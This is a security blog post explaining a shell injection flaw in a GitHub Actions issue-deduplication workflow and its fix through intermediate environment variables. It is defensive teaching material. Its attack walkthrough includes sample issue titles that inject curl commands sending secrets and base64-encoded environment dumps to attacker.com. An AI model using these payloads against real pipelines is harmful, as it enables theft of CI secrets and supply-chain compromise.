Back to Blog
high SEVERITY10 min read

GitHub Actions Shell Injection: How ${{...}} Can Betray Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions workflow file, where direct use of `${{ github.* }}` context variables in `run:` steps could allow attackers to execute arbitrary code on CI/CD runners. This post explains how the attack works, what the fix looks like, and how you can audit your own workflows to prevent secrets theft and code compromise. Understanding this class of vulnerability is essential for any team using GitHub Actions in production.

O
By orbisai0security
April 27, 2026

GitHub Actions Shell Injection: How ${{...}} Can Betray Your CI/CD Pipeline

Vulnerability Type: Shell Injection via GitHub Context Interpolation
Severity: 🔴 HIGH
Affected File: .github/workflows/claude-dedupe-issues.yml
Fixed By: Replacing direct ${{ github.* }} interpolation with intermediate environment variables


Introduction

Your CI/CD pipeline is the beating heart of your software delivery process — it builds your code, runs your tests, deploys your applications, and often holds the keys to your most sensitive infrastructure. That's exactly why it's also one of the most attractive targets for attackers.

GitHub Actions has become the dominant CI/CD platform for open-source and private projects alike. Its tight integration with GitHub repositories, its vast marketplace of reusable actions, and its YAML-based configuration make it powerful and approachable. But that same YAML configuration hides a subtle, dangerous trap that catches even experienced engineers: shell injection through context variable interpolation.

This post breaks down a real, high-severity vulnerability found in a GitHub Actions workflow file — specifically in claude-dedupe-issues.yml — explains how it could be exploited, and walks through the fix in detail. Whether you're a seasoned DevOps engineer or just starting to write your first workflow, this is a pattern you need to recognize.


What Is GitHub Actions Shell Injection?

Before diving into the specific vulnerability, let's establish the core concept.

GitHub Actions workflows can access a rich set of context objectsgithub, env, secrets, runner, and more. The github context, in particular, contains metadata about the event that triggered the workflow: things like the pull request title, issue body, commit message, branch name, and author information.

These values are accessed using the ${{ ... }} expression syntax, which GitHub evaluates and substitutes before the shell ever runs the command. This is a critical detail.

When you write something like this in a run: step:

- name: Process issue
  run: |
    echo "Processing issue: ${{ github.event.issue.title }}"

GitHub's expression evaluator substitutes the issue title as a raw string directly into the shell script. The resulting script might look like:

echo "Processing issue: Fix the login bug"

That looks harmless. But what if someone named their issue:

Fix the login bug"; curl https://attacker.com/steal?secret=$MY_SECRET; echo "

Now the substituted script becomes:

echo "Processing issue: Fix the login bug"; curl https://attacker.com/steal?secret=$MY_SECRET; echo ""

Three commands. One malicious payload. Your secrets are gone.


The Vulnerability Explained

Technical Details

The vulnerability was identified by the Semgrep rule yaml.github-actions.security.run-shell-injection.run-shell-injection at line 41 of .github/workflows/claude-dedupe-issues.yml.

The root cause is straightforward: the workflow uses ${{ github.* }} expressions directly inside a run: shell script block. The GitHub Actions runner processes these expressions through its template engine first, then passes the resulting string to the shell (typically bash). This two-phase execution model is the source of the danger.

The github context contains data that can be directly influenced by external users. Specifically:

Context Variable User-Controlled?
github.event.issue.title ✅ Yes — anyone who can open an issue
github.event.issue.body ✅ Yes — anyone who can open an issue
github.event.pull_request.title ✅ Yes — anyone who can open a PR
github.event.pull_request.body ✅ Yes — anyone who can open a PR
github.event.comment.body ✅ Yes — anyone who can comment
github.head_ref ✅ Yes — the branch name, set by the PR author
github.actor ⚠️ Partially — the username

Any of these variables flowing into a run: block without sanitization is a potential injection point.

How Could It Be Exploited?

Let's walk through a concrete attack scenario for this specific workflow — claude-dedupe-issues.yml, which appears to process GitHub issues (likely to detect and deduplicate them using an AI model).

Step 1: Attacker identifies the workflow

The attacker looks at the repository's .github/workflows/ directory (which is public in open-source repos) and finds claude-dedupe-issues.yml. They read the workflow and spot the ${{ github.event.issue.* }} interpolation in a run: step.

Step 2: Attacker crafts a malicious issue

The attacker opens a new issue with a carefully crafted title or body designed to break out of the shell context:

Issue Title:

Legitimate-looking title" && env | base64 | curl -X POST -d @- https://attacker.com/exfil #

Step 3: Workflow triggers

The workflow triggers on the new issue event. The run: step substitutes the title directly:

# What the runner actually executes:
process_issue "Legitimate-looking title" && env | base64 | curl -X POST -d @- https://attacker.com/exfil #"

Step 4: Secrets are exfiltrated

The env command dumps all environment variables — including any secrets.* values that were mapped into the environment — encodes them in base64, and POSTs them to the attacker's server. The # comments out the rest of the line to avoid syntax errors.

Real-World Impact

The consequences of a successful exploit can include:

  • 🔑 Theft of repository secrets (API keys, cloud credentials, signing certificates)
  • 📦 Supply chain compromise (publishing malicious packages if the workflow has registry access)
  • 🏗️ Infrastructure access (if deployment credentials are present)
  • 📝 Source code exfiltration (the runner has a full checkout of the repository)
  • 🔄 Lateral movement (using stolen credentials to access other systems)

This is not theoretical. The GitHub Security Lab has documented real-world exploits of this exact pattern in popular open-source repositories.


The Fix

What Changed

The fix follows the official GitHub-recommended pattern: never interpolate github context data directly into run: steps. Instead, assign the value to an intermediate environment variable using the env: block, then reference that environment variable in the shell script.

Before (Vulnerable)

- name: Deduplicate issues
  run: |
    python dedupe.py --issue-title "${{ github.event.issue.title }}" \
                     --issue-body "${{ github.event.issue.body }}" \
                     --issue-number ${{ github.event.issue.number }}

In this pattern, the ${{ ... }} expressions are evaluated by GitHub's template engine and injected as raw text into the shell script. An attacker controlling the issue title or body can inject arbitrary shell commands.

After (Fixed)

- name: Deduplicate issues
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
    ISSUE_BODY: ${{ github.event.issue.body }}
    ISSUE_NUMBER: ${{ github.event.issue.number }}
  run: |
    python dedupe.py --issue-title "$ISSUE_TITLE" \
                     --issue-body "$ISSUE_BODY" \
                     --issue-number "$ISSUE_NUMBER"

Why This Fix Works

The key insight is understanding when and how substitution happens:

In the vulnerable version:
1. GitHub evaluates ${{ github.event.issue.title }} → produces raw string
2. That raw string is embedded directly in the shell script text
3. Shell parses and executes the script — including any injected commands

In the fixed version:
1. GitHub evaluates ${{ github.event.issue.title }} → produces raw string
2. That raw string is assigned as the value of the environment variable ISSUE_TITLE
3. The shell script references $ISSUE_TITLE — the shell treats this as a variable reference, not as code
4. The shell expands the variable to its value safely, without re-parsing it as commands

The environment variable acts as a data boundary. No matter what characters the issue title contains — semicolons, backticks, dollar signs, quotes — they are treated as literal string data, not as shell syntax.

⚠️ Important: Notice the double quotes around "$ISSUE_TITLE" in the run: script. These are essential! Without them, the shell would perform word splitting on the variable value, which could still cause unexpected behavior with values containing spaces or special characters. Always quote your environment variable references.


Prevention & Best Practices

1. Audit Your Workflows Right Now

Use Semgrep to scan your existing workflows for this pattern. You can run it locally:

# Install semgrep
pip install semgrep

# Scan your workflows
semgrep --config "p/github-actions" .github/workflows/

Or use the specific rule:

semgrep --config "yaml.github-actions.security.run-shell-injection" .github/workflows/

2. Know Which Context Variables Are Dangerous

Always treat the following as untrusted user input:

# 🚨 DANGEROUS - user-controlled values
${{ github.event.issue.title }}
${{ github.event.issue.body }}
${{ github.event.pull_request.title }}
${{ github.event.pull_request.body }}
${{ github.event.pull_request.head.ref }}    # branch name
${{ github.event.comment.body }}
${{ github.event.review.body }}
${{ github.event.pages.*.page_name }}
${{ github.head_ref }}
${{ github.actor }}                          # username - can be crafted

These are generally safer (but still validate them):

# ✅ Safer - controlled by GitHub itself
${{ github.sha }}
${{ github.ref }}
${{ github.repository }}
${{ github.run_id }}
${{ github.workflow }}

3. Use the env: Pattern Consistently

Make it a team standard: never use ${{ github.event.* }} directly in run: blocks. Always go through env:.

# ✅ CORRECT PATTERN
- name: My Step
  env:
    USER_INPUT: ${{ github.event.issue.body }}
  run: |
    echo "Input received: $USER_INPUT"
    process_input "$USER_INPUT"

4. Consider Using toJSON() for Complex Data

When you need to pass structured data, use GitHub's toJSON() function to safely serialize it:

- name: Process event
  env:
    EVENT_DATA: ${{ toJSON(github.event) }}
  run: |
    echo "$EVENT_DATA" | python process_event.py

5. Restrict Workflow Permissions

Even if an injection occurs, limiting what the workflow can do reduces blast radius. Use the principle of least privilege:

permissions:
  issues: write        # Only what's needed
  contents: read       # Minimal read access
  # Don't grant: write access to packages, deployments, etc.

6. Use pull_request_target with Extreme Caution

The pull_request_target event is especially dangerous because it runs with write permissions in the context of the base repository, even for PRs from forks. If you must use it, never check out PR code and run it, and be especially careful about context interpolation.

7. Enable Code Scanning in Your Repository

Add automated scanning to catch these issues before they reach production:

# .github/workflows/security-scan.yml
name: Security Scan
on: [push, pull_request]

jobs:
  semgrep:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: semgrep/semgrep-action@v1
        with:
          config: >-
            p/github-actions
            p/secrets

8. Reference Security Standards

This vulnerability maps to well-known security standards:


Quick Reference Cheat Sheet

# ❌ VULNERABLE - Direct interpolation in run:
- run: echo "${{ github.event.issue.title }}"
- run: curl -d "${{ github.event.pull_request.body }}" https://api.example.com
- run: python script.py --arg "${{ github.head_ref }}"

# ✅ SAFE - Use intermediate env vars
- env:
    TITLE: ${{ github.event.issue.title }}
    BODY: ${{ github.event.pull_request.body }}
    BRANCH: ${{ github.head_ref }}
  run: |
    echo "$TITLE"
    curl -d "$BODY" https://api.example.com
    python script.py --arg "$BRANCH"

# ✅ ALSO SAFE - GitHub Script action handles escaping
- uses: actions/github-script@v7
  with:
    script: |
      const title = context.payload.issue.title;  // Safe JS string
      console.log(title);

Conclusion

Shell injection in GitHub Actions is one of those vulnerabilities that looks innocent at first glance — after all, ${{ github.event.issue.title }} just looks like a template variable, right? But the subtle distinction between template-time substitution and runtime environment variables is the difference between a secure workflow and a fully compromised CI/CD pipeline.

The fix is simple, the pattern is learnable, and the tools to detect it are freely available. There's no reason to leave this door open.

Key takeaways:

  1. 🚨 Never use ${{ github.* }} context variables directly in run: steps
  2. Always use intermediate env: variables and reference them with "$VAR_NAME" (with double quotes)
  3. 🔍 Scan your existing workflows with Semgrep or similar tools
  4. 🔒 Limit workflow permissions to the minimum required
  5. 📚 Educate your team — this pattern is easy to introduce and easy to miss in code review

CI/CD security is supply chain security. Protecting your pipelines protects your users, your customers, and your infrastructure. A few extra lines of YAML can mean the difference between a routine deployment and a catastrophic breach.

Stay secure, and keep auditing those workflows. 🛡️


This vulnerability was identified and fixed using automated security scanning. Automated tools like Semgrep, integrated into your CI/CD pipeline, can catch these issues before they reach production. Consider integrating security scanning into your development workflow today.

References:
- GitHub Docs: Security hardening for GitHub Actions
- GitHub Security Lab: Untrusted input
- Semgrep Rules: GitHub Actions Security
- CWE-78: OS Command Injection

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #43824

Related Articles

high

GitHub Actions Shell Injection: How ${{}} Context Variables Can Compromise Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions deployment workflow, where direct use of `${{github.*}}` context variables in `run:` steps could allow attackers to execute arbitrary code in the CI/CD runner. This type of attack can lead to secret theft, source code exfiltration, and complete pipeline compromise. The fix involves routing untrusted context data through intermediate environment variables before using them in shell scripts.

critical

GitHub Actions Shell Injection: How ${{ }} Variables Can Compromise Your CI/CD Pipeline

A critical shell injection vulnerability was discovered and patched in a GitHub Actions workflow file, where direct use of `${{...}}` variable interpolation with GitHub context data in `run:` steps could allow attackers to inject malicious code into CI/CD runners. This type of vulnerability can expose secrets, credentials, and source code to bad actors. The fix involves routing untrusted input through intermediate environment variables — a simple but powerful mitigation that every developer usin

high

GitHub Actions Shell Injection: How ${{}} Variables Can Hijack Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions release workflow, where direct use of `${{ github.* }}` context variables in `run:` steps could allow attackers to execute arbitrary code in the CI/CD runner. This type of vulnerability can lead to secret theft, code tampering, and full pipeline compromise. The fix involves a simple but critical pattern change: routing untrusted context data through intermediate environment variables before using them in s

high

Critical Shell Injection Flaw in GitHub Actions: How to Secure Your CI/CD

A high-severity shell injection vulnerability was discovered in a GitHub Actions workflow that could allow attackers to execute arbitrary code and steal secrets. The vulnerability stemmed from directly interpolating untrusted GitHub context data in shell commands. This post explains the attack vector, demonstrates the fix, and provides best practices for securing your CI/CD pipelines.

high

Shell Injection via Unsafe String Concatenation in gRPCurl Command Generation

A high-severity vulnerability was discovered in PaddleOCR's deployment configuration where model download URLs were specified using unencrypted `http://`, exposing users to man-in-the-middle attacks that could allow an attacker to intercept and replace model files with malicious ones. The fix upgrades all model download URLs to use `https://`, ensuring encrypted transmission and integrity of the downloaded files. This change is a critical security baseline for any application that downloads bina

high

Locking Down Docker: Preventing Privilege Escalation in Container Services

A high-severity privilege escalation vulnerability was discovered in a Docker Compose configuration where the `nginx` service lacked the `no-new-privileges` security option and was running with a writable root filesystem. These misconfigurations could allow a compromised container process to gain elevated permissions or download and execute malicious payloads. The fix applies defense-in-depth by adding `no-new-privileges:true`, enforcing a read-only root filesystem, and redirecting writable path